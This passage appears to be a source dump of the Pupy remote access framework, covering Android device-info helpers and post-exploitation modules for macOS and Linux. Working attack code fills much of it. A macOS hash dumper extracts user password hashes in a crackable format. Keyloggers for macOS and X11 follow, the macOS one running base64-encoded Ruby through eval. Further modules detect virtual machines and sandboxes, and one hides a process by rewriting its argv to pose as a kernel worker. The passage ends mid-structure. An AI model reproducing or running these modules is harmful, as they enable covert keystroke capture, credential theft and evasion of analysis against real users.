        phoneCount = telephonyManager.getPhoneCount()
        return phoneCount
    except:
        return None

def getNetworkOperatorName():
    '''
    Returns the alphabetic name of current registered operator
    Returns None if an error
    '''
    try:
        telephonyManager = cast(
            'android.telephony.TelephonyManager',
            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))
        networkOperatorName = telephonyManager.getNetworkOperatorName()
        return networkOperatorName
    except:
        return None

def getSimState():
    '''
    Returns a string indicating the state of the default SIM card
    Returns None if an error
    '''
    try:
        status="?"
        TelephonyManager = autoclass('android.telephony.TelephonyManager')
        telephonyManager = cast(
            'android.telephony.TelephonyManager',
            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))
        simState = telephonyManager.getSimState()
        if simState == TelephonyManager.SIM_STATE_UNKNOWN:
            status = "unknown"
        elif simState == TelephonyManager.SIM_STATE_ABSENT:
            status = "absent"
        elif simState == TelephonyManager.SIM_STATE_PIN_REQUIRED:
            status = "pin_required"
        elif simState == TelephonyManager.SIM_STATE_PUK_REQUIRED:
            status = "puk_required"
        elif simState == TelephonyManager.SIM_STATE_NETWORK_LOCKED:
            status = "network_locked"
        elif simState == TelephonyManager.SIM_STATE_READY:
            status = "ready"
        return status
    except:
        return None

def isNetworkRoaming():
    '''
    Returns true if the device is considered roaming on the current network, for GSM purposes.
    Returns None if an error
    Availability: Only when user registered to a network.
    '''
    try:
        telephonyManager = cast(
            'android.telephony.TelephonyManager',
            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))
        isNetworkRoaming = telephonyManager.isNetworkRoaming()
        return isNetworkRoaming
    except:
        return None

def isWiFiEnabled():
    '''
    Returns None if an error
    '''
    try:
        wifiManager = cast(
            'android.net.wifi.WifiManager',
            SERVICE.getSystemService(CONTEXT.WIFI_SERVICE))
        return wifiManager.isWifiEnabled()
    except:
        return None

def isWiFiConnected():
    connectivityManager = autoclass('android.net.ConnectivityManager')
    cManager = cast(
        'android.net.ConnectivityManager',
        SERVICE.getSystemService(CONTEXT.CONNECTIVITY_SERVICE))
    networkInfo = cManager.getNetworkInfo(connectivityManager.TYPE_WIFI)
    return networkInfo.isConnected()

def isVPNConnected():
    connectivityManager = autoclass('android.net.ConnectivityManager')
    cManager = cast(
        'android.net.ConnectivityManager',
        SERVICE.getSystemService(CONTEXT.CONNECTIVITY_SERVICE))

    try:
        networkInfo = cManager.getNetworkInfo(connectivityManager.TYPE_VPN)
    except:
        return False

    return networkInfo.isConnected()

def getInfoBuild():
    '''
    Returns {'deviceName': , 'manufacturer':, 'model':, 'product': , 'bootloaderVersion':, 'hardware':, 'serial':, 'radioVersion':,  'release':}
    Returns a list of None for each attribut if an error
    '''
    try:
        build = autoclass('android.os.Build')
        version = autoclass('android.os.Build$VERSION')
        deviceName = build.DEVICE
        manufacturer = build.MANUFACTURER
        model = build.MODEL
        product = build.PRODUCT
        bootloaderVersion = build.BOOTLOADER
        hardware = build.HARDWARE
        try:
            serial = build.SERIAL
        except:
            serial = None
        radioVersion = build.getRadioVersion()
        return {
            'deviceName': deviceName,
            'manufacturer': manufacturer,
            'model': model,
            'product': product,
            'bootloaderVersion': bootloaderVersion,
            'hardware': hardware,
            'serial': serial,
            'radioVersion': radioVersion,
            'release':"{0} ({1})".format(version.RELEASE, version.CODENAME)
        }
    except:
        return {
            'deviceName':None,
            'manufacturer':None,
            'model':None,
            'product': None,
            'bootloaderVersion':None,
            'hardware':None,
            'serial':None,
            'radioVersion':None,
            'release':None
        }


def getBatteryStats():
    '''
    Returns None if an error
    returns {'percentage': 99.0, 'isCharging': True}
    '''
    try:
        from plyer import battery
        return battery.status
    except:
        return None

def getMobileNetworkType():
    '''
    Returns info about current mobile connection
    For mobile type Only (not for WiFi)
    If not using mobile connection or an error, returns None
    Return {'info':info, 'fast',fast}
        - Info: string
        - fast: True, False or None if unknow
    Help: https://gist.github.com/emil2k/5130324
    '''
    info, fast = "Error!", False
    try:
        connectivityManager = autoclass('android.net.ConnectivityManager')
        telephonyManager = autoclass("android.telephony.TelephonyManager")
        cManager = cast(
            'android.net.ConnectivityManager',
            SERVICE.getSystemService(CONTEXT.CONNECTIVITY_SERVICE))
        activeNetworkInfo = cManager.getActiveNetworkInfo()
        cType = activeNetworkInfo.getType()
        cSubType = activeNetworkInfo.getSubtype()

        if cType != connectivityManager.TYPE_MOBILE:
            return None

        if cSubType == telephonyManager.NETWORK_TYPE_1xRTT:
            info = "1xRTT: 50-100 kbps"
            fast = False
        if cSubType == telephonyManager.NETWORK_TYPE_CDMA:
            info = "CDMA: 14-64 kbps"
            fast = False
        if cSubType == telephonyManager.NETWORK_TYPE_EDGE:
            info = "EDGE: 50-100 kbps"
            fast = False
        if cSubType == telephonyManager.NETWORK_TYPE_EVDO_0:
            info = "EVDO_0: 400-1000 kbps"
            fast = True
        if cSubType == telephonyManager.NETWORK_TYPE_EVDO_A:
            info = "EVDO_A: 600-1400 kbps"
            fast = True
        if cSubType == telephonyManager.NETWORK_TYPE_GPRS:
            info = "GPRS: 100 kbps"
            fast = False
        if cSubType == telephonyManager.NETWORK_TYPE_HSDPA:
            info = "HSDPA: 2-14 Mbps"
            fast = True
        if cSubType == telephonyManager.NETWORK_TYPE_HSPA:
            info = "HSPA: 700-1700 kbps"
            fast = True
        if cSubType == telephonyManager.NETWORK_TYPE_HSUPA:
            info = "HSUPA: 1-23 Mbps"
            fast = True
        if cSubType == telephonyManager.NETWORK_TYPE_UMTS:
            info = "UMTS: 400-7000 kbps"
            fast = True
        if cSubType == telephonyManager.NETWORK_TYPE_EHRPD: #API level 11
            info = "EHRPD: 1-2 Mbps"
            fast = True
        if cSubType == telephonyManager.NETWORK_TYPE_EVDO_B: #API level 9
            info = "EVDO_B: 5 Mbps"
            fast = True
        if cSubType == telephonyManager.NETWORK_TYPE_HSPAP: #API level 13
            info = "HSPAP: 10-20 Mbps"
            fast = True
        if cSubType == telephonyManager.NETWORK_TYPE_IDEN: #API level 8
            info = "IDEN: 25 kbps"
            fast = False
        if cSubType == telephonyManager.NETWORK_TYPE_LTE: #API level 11
            info = "LTE: 10+ Mbps"
            fast = True
        if cSubType == telephonyManager.NETWORK_TYPE_UNKNOWN:
            info = "UNKNOWN: ?"
            fast = None
        return {'info':info, 'fast':fast}
    except:
        return {'info':info, 'fast':fast}


================================================
FILE: pupy/packages/android/pupydroid/vibrator.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import jnius

__all__=["vibrate"]

def vibrate(pattern, repeat=None):
    """ take a list of int as pattern """
    PythonActivity = jnius.autoclass('org.renpy.android.PythonService')
    Context = jnius.autoclass('android.content.Context')
    activity = PythonActivity.mService
    vibrator = activity.getSystemService(Context.VIBRATOR_SERVICE)
    if vibrator.hasVibrator():
        try:
            if repeat:
                vibrator.vibrate(list(pattern), repeat)
            else:
                vibrator.vibrate(list(pattern), -1)
        except KeyboardInterrupt:
            vibrator.cancel()
            raise
    else:
        raise RuntimeError("The device does not have a vibrator")


================================================
FILE: pupy/packages/darwin/checkvm.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import subprocess
import os

def checkvm():
    # check existing dir
    dirs = [
        '~/Library/Logs/VMWare',
        '~/Library/Logs/VMWare Fusion/'
    ]

    for d in dirs:
        if os.path.isdir(os.path.expanduser(d)):
            return 'VMWare'

    p = subprocess.Popen('system_profiler', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
    output, err = p.communicate()
    if output:
        if 'VMWare' in output:
            return 'VMWare'
        elif 'VirtualBox' in output:
            return 'VirtualBox'

    return None


================================================
FILE: pupy/packages/darwin/hashdump.py
================================================
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
# Inspired from https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/hashdump.py
import os
import base64
from xml.etree import ElementTree

def getUserHash(userName):
    try:
        raw = os.popen('sudo defaults read /var/db/dslocal/nodes/Default/users/%s.plist ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null' %(userName)).read()
        if len(raw) > 100:
            root = ElementTree.fromstring(raw)
            children = root[0][1].getchildren()
            entropy64 = ''.join(children[1].text.split())
            iterations = children[3].text
            salt64 = ''.join(children[5].text.split())
            entropyRaw = base64.b64decode(entropy64)
            entropyHex = entropyRaw.encode("hex")
            saltRaw = base64.b64decode(salt64)
            saltHex = saltRaw.encode("hex")
            return (userName, "$ml$%s$%s$%s" %(iterations, saltHex, entropyHex))
    except Exception as e:
        print("getUserHash() exception: %s" %(e))
        pass

def hashdump():
    userNames = [
        plist.split(".")[0] for plist in os.listdir(
            '/var/db/dslocal/nodes/Default/users/') if not plist.startswith('_')
    ]

    userHashes = []
    for userName in userNames:
        userHash = getUserHash(userName)
        if userHash:
            userHashes.append(getUserHash(userName))
    return userHashes


================================================
FILE: pupy/packages/darwin/keylogger.py
================================================
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import os
import time
import base64
import subprocess
import string
import random

pid = int()
logFile = ''

# ruby code from metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb
def get_ruby_code():
    return '''
    require 'thread'
    require 'dl'
    require 'dl/import'
    Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
    def ruby_1_9_or_higher?
      RUBY_VERSION.to_f >= 1.9
    end
    def malloc(size)
      if ruby_1_9_or_higher?
        DL::CPtr.malloc(size)
      else
        DL::malloc(size)
      end
    end
    if not ruby_1_9_or_higher?
      module DL
        module Importable
          def method_missing(meth, *args, &block)
            str = meth.to_s
            lower = str[0,1].downcase + str[1..-1]
            if self.respond_to? lower
              self.send lower, *args
            else
              super
            end
          end
        end
      end
    end
    SM_KCHR_CACHE = 38
    SM_CURRENT_SCRIPT = -2
    MAX_APP_NAME = 80
    module Carbon
      extend Importer
      dlload '/System/Library/Frameworks/Carbon.framework/Carbon'
      extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
      extern 'void GetFrontProcess(ProcessSerialNumber *)'
      extern 'void GetKeys(void *)'
      extern 'unsigned char *GetScriptVariable(int, int)'
      extern 'unsigned char KeyTranslate(void *, int, void *)'
      extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
      extern 'int CFStringGetLength(void *)'
    end
    psn = malloc(16)
    name = malloc(16)
    name_cstr = malloc(MAX_APP_NAME)
    keymap = malloc(16)
    state = malloc(8)
    itv_start = Time.now.to_i
    prev_down = Hash.new(false)
    lastWindow = ""
    while (true) do
      Carbon.GetFrontProcess(psn.ref)
      Carbon.CopyProcessName(psn.ref, name.ref)
      Carbon.GetKeys(keymap)
      str_len = Carbon.CFStringGetLength(name)
      copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
      app_name = if copied then name_cstr.to_s else 'Unknown' end
      bytes = keymap.to_str
      cap_flag = false
      ascii = 0
      ctrlchar = ""
      (0...128).each do |k|
        if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
          if not prev_down[k]
            case k
              when 36
                ctrlchar = "[enter]"
              when 48
                ctrlchar = "[tab]"
              when 49
                ctrlchar = " "
              when 51
                ctrlchar = "[delete]"
              when 53
                ctrlchar = "[esc]"
              when 55
                ctrlchar = "[cmd]"
              when 56
                ctrlchar = "[shift]"
              when 57
                ctrlchar = "[caps]"
              when 58
                ctrlchar = "[option]"
              when 59
                ctrlchar = "[ctrl]"
              when 63
                ctrlchar = "[fn]"
              else
                ctrlchar = ""
            end
            if ctrlchar == "" and ascii == 0
              kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
              curr_ascii = Carbon.KeyTranslate(kchr, k, state)
              curr_ascii = curr_ascii >> 16 if curr_ascii < 1
              prev_down[k] = true
              if curr_ascii == 0
                cap_flag = true
              else
                ascii = curr_ascii
              end
            elsif ctrlchar != ""
              prev_down[k] = true
            end
          end
        else
          prev_down[k] = false
        end
      end
      if ascii != 0 or ctrlchar != ""
        if app_name != lastWindow
          puts "\n\n[#{app_name}] - [#{Time.now}]\n"
          lastWindow = app_name
        end
        if ctrlchar != ""
          print "#{ctrlchar}"
        elsif ascii > 32 and ascii < 127
          c = if cap_flag then ascii.chr.upcase else ascii.chr end
          print "#{c}"
        else
          print "[#{ascii}]"
        end
        $stdout.flush
      end
      Kernel.sleep(0.01)
    end'''

def keylogger_start():
    global pid
    global logFile

    if logFile:
        if os.path.exists(logFile):
            return 'running'

    base64_ruby_code = base64.b64encode(get_ruby_code())

    randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))])
    logFile = '/tmp/{name}'.format(name=randname)
    cmd = 'echo "require \'base64\';eval(Base64.decode64(\'%s\'))" | ruby > %s &' % (base64_ruby_code, logFile)
    os.popen(cmd)
    time.sleep(1)

    # get process id
    try:
        pid = os.popen('ps aux | grep " ruby" | grep -v grep').read().split()[1]
    except:
        pass

    print(logFile)
    print(pid)
    return True

def keylogger_stop():
    global logFile

    # remove log file
    if os.path.exists(logFile):
        # kill keylogger process
        cmd = 'kill %s' % str(pid)
        subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

        os.remove(logFile)
        logFile = ''
        return True
    else:
        return False

def keylogger_dump():
    if not os.path.exists(logFile):
        return None

    buffer = open(logFile, 'r').read()

    # clean file
    open(logFile, 'w').write('')

    return buffer


================================================
FILE: pupy/packages/linux/all/checkvm.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import platform
import subprocess
import os

from io import open

# inspired from the checkvm.rb from the metasploit framework

def execute_command(dic, case=False):
    vm = ''
    try:
        output = subprocess.check_output(dic[0].split(' '))
        if output:
            vm = check_result(dic, output)
        return vm

    except:
        return ''


def read_file(dic, case=False):
    try:
        vm = ''
        content = open(dic[0]).read()
        if content:
            vm = check_result(dic, content, case)
            return vm
    except:
        return ''


def check_result(dic, output, case=False):
    if not case:
        output = output.lower()

    for vms_artifacts in dic[1]:
        for vms_artifact in vms_artifacts.split(','):
            vms_artifact = vms_artifact.strip()
            if not case:
                vms_artifact = vms_artifact.lower()
            if vms_artifact in output:
                return dic[1][vms_artifacts]


def check_sysfs_dmi():
    vm = read_file([
        '/sys/class/dmi/id/bios_version', {
            'amazon': 'EC2',
    }])

    if vm:
        return vm

    vm = read_file([
        '/sys/class/dmi/id/product_name', {
            'VMware': 'vmware',
            'VirtualBox': 'VirtualBox',
            'HVM': 'Xen',
            'Droplet': 'DigitalOcean',
    }])

    if vm:
        return vm

    vm = read_file([
        '/sys/class/dmi/id/chassis_vendor', {
            'Xen': 'Xen',
            'Bochs': 'Bochs',
            'QEMU': 'Qemu/KVM',
    }])

    return vm


def check_sysfs_devices():
    for root, dirs, files in os.walk('/sys/devices'):
        for file in files:
            if file in ('model', 'manufacturer', 'modalias'):
                vm = read_file([
                    root+'/'+file, {
                        'QEMU': 'Qemu/KVM',
                        'VMWare': 'VMWare',
                        'virtio': 'Qemu/KVM',
                        'xen': 'Xen',
                        'VirtualBox': 'VirtualBox',
                        'VBOX': 'VirtualBox',
                }], case=True)
                if vm:
                    return vm
    return ''


# Check DMi Info
def check_dmi():
    dic = [
            '/usr/sbin/dmidecode',
            {
                'microsoft corporation': 'MS Hyper-V',
                'vmware': 'VMware',
                'virtualbox': 'VirtualBox',
                'qemu': 'Qemu/KVM',
                'domu': 'Xen'
            }
        ]
    return execute_command(dic)


# Check Modules
def check_modules():
    dic = [
        '/sbin/lsmod',
        {
            'vboxsf, vboxguest': 'VirtualBox',
            'vmw_ballon, vmxnet': 'VMware',
            'xen-vbd, xen-vnif': 'Xen',
            'virtio_pci, virtio_net': 'Qemu/KVM',
            'hv_vmbus, hv_blkvsc, hv_netvsc, hv_utils, hv_storvsc': 'MS Hyper-V'
        }
    ]

    try:
        modules = os.listdir('/sys/module')
        for mods, vm in dic[1].items():
            for mod in mods.split(', '):
                if mod in modules:
                    return vm
    except:
        pass

    return execute_command(dic)


# Check SCSI Driver
def scsi_driver():
    dic = [
        '/proc/scsi/scsi',
        {
            'vmware': 'VMware',
            'vbox': 'VirtualBox'
        }
    ]
    return read_file(dic)


# Check IDE Devices
def check_ide_devices():
    dic = [
        '/proc/ide/hd*/model',
        {
            'vmware': 'VMware',
            'vbox': 'VirtualBox',
            'qemu': 'Qemu/KVM',
            'virtual [vc]d': 'Hyper-V/Virtual PC'
        }
    ]
    return read_file(dic)


# Check using lspci
def check_lspci():
    distro = platform.linux_distribution()[0].lower()
    if distro in ['oracle', 'centos', 'suse', 'redhat', 'mandrake', 'slackware', 'fedora']:
        cmd = '/sbin/lspci'
    elif distro in ['debian', 'ubuntu']:
        cmd = '/usr/bin/lspci'
    else:
        cmd = 'lspci'

    dic = [
            cmd,
            {
                'vmware': 'VMware',
                'virtualbox': 'VirtualBox',
            }
        ]
    return execute_command(dic)


# Check dmesg Output
def check_dmesg_output():
    dic = [
        'dmesg',
        {
            'vboxbios, vboxcput, vboxfacp, vboxxsdt, vbox cd-rom, vbox harddisk': 'VirtualBox',
            'vmware virtual ide, vmware pvscsi, vmware virtual platform': 'VMware',
            'xen_mem, xen-vbd': 'Xen',
            'qemu virtual cpu version': 'Qemu/KVM',
        }
    ]
    return execute_command(dic)


def checkvm():
    functions = [
        check_sysfs_dmi,
        check_sysfs_devices,
        check_modules,
        scsi_driver,
        check_ide_devices,
        check_lspci,
        check_dmesg_output
    ]
    if os.geteuid() == 0:
        functions.append(check_dmi())
    vm = ''
    for function in functions:
        try:
            vm = function()
            if vm:
                break
        except:
            pass
    return vm


================================================
FILE: pupy/packages/linux/all/fsutils_ext.py
================================================
# -*- encoding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from io import open
from os import path, lstat, readlink
from stat import S_ISREG, S_ISLNK
from struct import unpack_from, unpack

try:
    from prctl import ALL_CAPS, ALL_CAP_NAMES
except ImportError:
    ALL_CAPS = None
    ALL_CAP_NAMES = None

from posix1e import ACL, has_extended
from xattr import getxattr
from xattr import list as list_xattrs

from pwd import getpwuid
from grp import getgrgid

from pupyutils.basic_cmds import (
    mode_to_letter, special_to_letter
)

from pupy.network.lib.convcompat import (
    as_unicode_string, try_as_unicode_string,
    fs_as_native_string, as_unicode_string_deep
)

if sys.version_info.major > 2:
    xrange = range


def getselinux(filepath):
    try:
        sectx = getxattr(filepath, 'security.selinux')
    except (IOError, OSError):
        return None

    return sectx


def getacls(filepath):
    acls = ''

    # posix1e doesn't work with unicode properly
    fs_native_filepath = fs_as_native_string(filepath)

    try:
        if not has_extended(filepath):
            return None

        acls += ACL(file=fs_native_filepath).to_any_text()
    except (OSError, IOError):
        pass

    if path.isdir(filepath):
        try:
            defaults = ACL(filedef=fs_native_filepath).to_any_text()
            if defaults:
                defaults = '\n'.join([
                    'default:' + x for x in defaults.split('\n')
                ])
                acls += '\n' + defaults
        except (OSError, IOError):
            pass

    return acls


def getcaps(filepath):
    if not ALL_CAPS and ALL_CAP_NAMES:
        return None

    try:
        bincap = getxattr(filepath, 'security.capability')
    except (IOError, OSError):
        return None

    version, = unpack_from('<I', bincap)
    revision = (version & 0xFF000000) >> 24

    caps = bincap[4:]
    if not (revision == 1 and len(caps) == 8 or
            revision == 2 and len(caps) == 16):
        raise ValueError('Invalid caps payload')

    effective = version & 1

    MAX_CAP = 32
    permitted = [unpack('<I', caps[0:4])[0]]
    inheritable = [unpack('<I', caps[4:8])[0]]

    if version == 2:
        MAX_CAP = 64
        permitted.append(unpack('<I', caps[8:12])[0])
        inheritable.append(unpack('<I', caps[12:16])[0])

    permitted_flags = []
    inheritable_flags = []
    for x in xrange(min(len(ALL_CAP_NAMES), MAX_CAP)):
        idx = ((x) >> 5)
        mask = (1 << ((x) & 31))

        if permitted[idx] & mask:
            permitted_flags.append(ALL_CAP_NAMES[ALL_CAPS.index(x)])

        if inheritable[idx] & mask:
            inheritable_flags.append(ALL_CAP_NAMES[ALL_CAPS.index(x)])

    return permitted_flags, inheritable_flags, bool(effective)


def getfilesec(filepath):
    filestat = lstat(filepath)

    header = ''

    if S_ISREG(filestat.st_mode):
        try:
            with open(filepath, 'rb') as fileobj:
                header = fileobj.read(4096)
        except IOError:
            pass

    owner_uid = filestat.st_uid
    try:
        owner_user = as_unicode_string(
            getpwuid(owner_uid).pw_name
        )
    except KeyError:
        owner_user = None

    owner_domain = None  # Unsupported?
    owner = (owner_uid, owner_user, owner_domain)

    group_gid = filestat.st_gid
    try:
        group_user = as_unicode_string(
            getgrgid(group_gid).gr_name
        )
    except KeyError:
        group_user = None

    group_domain = None  # Unsupported?
    group = (group_gid, group_user, group_domain)

    caps = None
    acls = None
    sectx = None
    xattrs = []

    try:
        xattrs = list_xattrs(filepath)
        caps = getcaps(filepath)
        acls = getacls(filepath)
        sectx = getselinux(filepath)

    except IOError:
        pass

    caps_text = None

    security_xattrs = [
        x for x in xattrs if x.startswith((b'security.', b'system.posix_'))
    ]

    other_xattrs = [
        x for x in xattrs if not x.startswith((b'security.', b'system.posix_'))
    ]

    other_xattr_values = []
    for xattr in other_xattrs:
        try:
            other_xattr_values.append('{}: {}'.format(
                try_as_unicode_string(xattr, fail=False),
                try_as_unicode_string(
                    getxattr(filepath, xattr), fail=False)
            ))
        except IOError:
            pass

    if caps:
        permitted_flags, inheritable_flags, effective = caps

        caps_text = ''
        flags = ''

        if effective:
            flags += 'e'

        if permitted_flags == inheritable_flags or (
                permitted_flags and not inheritable_flags):
            caps_text = ','.join(permitted_flags)
            if inheritable_flags:
                flags += 'i'
            flags += 'p'

        elif not permitted_flags and inheritable_flags:
            caps_text = ','.join(inheritable_flags)
            flags += 'i'

        if flags:
            caps_text += '+' + flags

    link = None
    if S_ISLNK(filestat.st_mode):
        link = readlink(filepath)

    mode = mode_to_letter(filestat.st_mode) + \
        special_to_letter(filestat.st_mode)

    extra = {
        'ACLs': acls.split('\n') if acls else None,
        'CAPs': caps_text,
        'SELinux': sectx,
        'Security': security_xattrs,
        'XAttr': other_xattr_values,
        'Link': link
    }

    return int(filestat.st_ctime), int(filestat.st_atime), \
        int(filestat.st_mtime), filestat.st_size, owner, \
        group, header, mode, as_unicode_string_deep({
            k: v for k, v in extra.items() if v
        })


================================================
FILE: pupy/packages/linux/all/hide_process.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Modifications: Nicolas VERDIER (contact@n1nj4.eu)
# Original author is unknown
# source : I received the original version of this code from a private message on reddit
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import ctypes
import os

from io import open


class Stat():
    def add(self, pid, comm, state, ppid, pgrp, session, tty_nr, tpgid, flags, minflt, cminflt, majflt, cmajflt, utime,
            stime, cutime, cstime, priority, nice, num_threads, itrealvalue, starttime, vsize, rss, rsslim, startcode,
            endcode, startstack, kstkesp, kstkeip, signal, blocked, sigignore, sigcatch, wchan, nswap, cnswap,
            exit_signal, processor, rt_priority, policy, delayacct_blkio_ticks, guest_time,
            cguest_time, start_data, end_data, start_brk, arg_start, arg_end, env_start, env_end, exit_code):

        self.argv  = (int(arg_start), int(arg_end))
        self.env = (int(env_start), int(env_end))


def parse_proc_stat():
    with open("/proc/self/stat", "r") as fh: # ?3.5+ specific
        a = tuple(fh.read().split())
    s = Stat()
    s.add(*a)
    return s


def memcpy(dest, source):
    start, end = dest
    if len(source) > end - start:
        raise ValueError("ma jel")
    ptr = ctypes.POINTER(ctypes.c_wchar)
    idx = 0
    write = ''
    for tmp in range(start, end-1):
        a = ctypes.cast(tmp, ptr)
        if idx >= len(source):
            write = "\x00"
        else:
            write = source[idx]
        a.contents.value = write
        idx += 1


def change_argv(argv="/bin/bash", env=""):
    info = parse_proc_stat()
    memcpy(info.argv, argv) #clean argv
    memcpy(info.env, env) #clean environ


if __name__=="__main__":
    print("pid: %s"%os.getpid())
    change_argv(argv="[kworker/2:0]")
    import time
    while True:
        time.sleep(1)


================================================
FILE: pupy/packages/linux/all/keylogger.py
================================================
# -*- coding: utf-8 -*-
# inspired from https://github.com/amoffat/pykeylogger

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import os
import sys
import ctypes as ct

from io import open
from time import sleep, time
from ctypes.util import find_library

import pupy.agent

if sys.version_info.major > 2:
    xrange = range
    unicode = str

try:
    x11 = ct.cdll.LoadLibrary(find_library('X11'))

    x11.XkbOpenDisplay.restype = ct.c_void_p
    x11.XkbOpenDisplay.argtypes = [
        ct.c_char_p,
        ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.c_void_p
    ]
    x11.XCloseDisplay.argtypes = [ct.c_void_p]
    x11.XQueryKeymap.restype = ct.c_int
    x11.XQueryKeymap.argtypes = [ct.c_void_p, ct.c_void_p]
    x11.XGetInputFocus.restype = ct.c_int
    x11.XGetInputFocus.argtypes = [ct.c_void_p, ct.c_void_p, ct.c_void_p]
    x11.XGetClassHint.restype = ct.c_int
    x11.XGetClassHint.argtypes = [ct.c_void_p, ct.c_ulong, ct.c_void_p]
    x11.XkbGetKeyboard.restype = ct.c_void_p
    x11.XkbGetKeyboard.argtypes = [ct.c_void_p, ct.c_uint, ct.c_uint]
    x11.XkbGetState.argtypes = [ct.c_void_p, ct.c_uint, ct.c_void_p]
    x11.XKeycodeToKeysym.restype = ct.c_uint
    x11.XKeycodeToKeysym.argtypes = [ct.c_void_p, ct.c_uint]
    x11.XkbKeycodeToKeysym.restype = ct.c_uint
    x11.XkbKeycodeToKeysym.argtypes = [ct.c_void_p, ct.c_uint]
    x11.XDefaultRootWindow.restype = ct.c_ulong
    x11.XDefaultRootWindow.argtypes = [ct.c_void_p]
    x11.XNextEvent.argtypes = [ct.c_void_p, ct.c_void_p]
    x11.XMapWindow.argtypes = [ct.c_void_p, ct.c_ulong]
    x11.XSync.argtypes = [ct.c_void_p, ct.c_int]
    x11.XMaskEvent.argtypes = [ct.c_void_p, ct.c_ulong, ct.c_void_p]
    x11.XSelectInput.argtypes = [ct.c_void_p, ct.c_uint, ct.c_long]
    x11.XDestroyWindow.argtypes = [ct.c_void_p, ct.c_ulong]
    x11.XGetEventData.argtypes = [ct.c_void_p, ct.c_void_p]
    x11.XFreeEventData.argtypes = [ct.c_void_p, ct.c_void_p]
    x11.XQueryExtension.argtypes = [ct.c_void_p, ct.c_char_p, ct.c_void_p, ct.c_void_p, ct.c_void_p]
    x11.XSetErrorHandler.restype = ct.c_int
    x11.XSetErrorHandler.argtypes = [ct.c_void_p]
    x11.XSetIOErrorHandler.restype = ct.c_int
    x11.XSetIOErrorHandler.argtypes = [ct.c_void_p]
except:
    x11 = None

try:
    xi = ct.cdll.LoadLibrary(find_library('Xi'))
    xi.XOpenDevice.restype = ct.c_void_p
    xi.XOpenDevice.argtypes = [ct.c_void_p, ct.c_uint]
    xi.XCloseDevice.argtypes = [ct.c_void_p, ct.c_void_p]
    xi.XISelectEvents.argtypes = [ct.c_void_p, ct.c_uint, ct.c_void_p, ct.c_int]
except:
    xi = None


class ClassHint(ct.Structure):
    _fields_ = [
        ("name", ct.c_char_p),
        ("klass", ct.c_char_p)
    ]


class XkbState(ct.Structure):
    _fields_ = [
        ("group", ct.c_char),
        ("locked_group", ct.c_char),
        ("base_group", ct.c_char),
        ("latched_group", ct.c_char),
        ("mods", ct.c_char),
        ("base_mods", ct.c_char),
        ("latched_mods", ct.c_char),
        ("locked_mods", ct.c_char),
        ("compat_state", ct.c_char),
        ("grab_mods", ct.c_char),
        ("compat_grab_mods", ct.c_char),
        ("lookup_mods", ct.c_char),
        ("compat_lookup_mods", ct.c_char),
        ("ptr_buttons", ct.c_char)
    ]


class XiEventMask(ct.Structure):
    _fields_ = [
        ("deviceid", ct.c_int),
        ("mask_len", ct.c_int),
        ("mask", ct.c_void_p)
    ]


class XGenericEventCookie(ct.Structure):
    _fields_ = [
        ("type",        ct.c_int),
        ("serial",      ct.c_ulong),
        ("send_event",  ct.c_int),
        ("display",     ct.c_void_p),
        ("extension",   ct.c_int),
        ("evtype",      ct.c_int),
        ("cookie",      ct.c_uint),
        ("data",        ct.c_void_p)
    ]


class XEventType(ct.Structure):
    _fields_ = [
        ("type", ct.c_int),
        ("pad", ct.c_long * 24)
    ]


class XEvent(ct.Union):
    _fields_ = [
        ("type",   XEventType),
        ("cookie", XGenericEventCookie),
    ]


class XIValuatorState(ct.Structure):
    _fields_ = [
        ("mask_len",   ct.c_int),
        ("mask",       ct.c_void_p),
        ("values",     ct.c_void_p),
    ]


class XIButtonState(ct.Structure):
    _fields_ = [
        ("mask_len",   ct.c_int),
        ("mask",       ct.c_void_p)
    ]


class XIModifierState(ct.Structure):
    _fields_ = [
        ("base",       ct.c_int),
        ("latched",    ct.c_int),
        ("locked",     ct.c_int),
        ("effective",  ct.c_int),
    ]


class XIDeviceEvent(ct.Structure):
    _fields_ = [
        ("type",       ct.c_int),
        ("serial",     ct.c_ulong),
        ("send_event", ct.c_int),
        ("display",    ct.c_void_p),
        ("extension",  ct.c_int),
        ("evtype",     ct.c_int),
        ("time",       ct.c_ulong),
        ("deviceid",   ct.c_int),
        ("sourceid",   ct.c_int),
        ("detail",     ct.c_int),
        ("root",       ct.c_ulong),
        ("event",      ct.c_ulong),
        ("child",      ct.c_ulong),
        ("root_x",     ct.c_double),
        ("root_y",     ct.c_double),
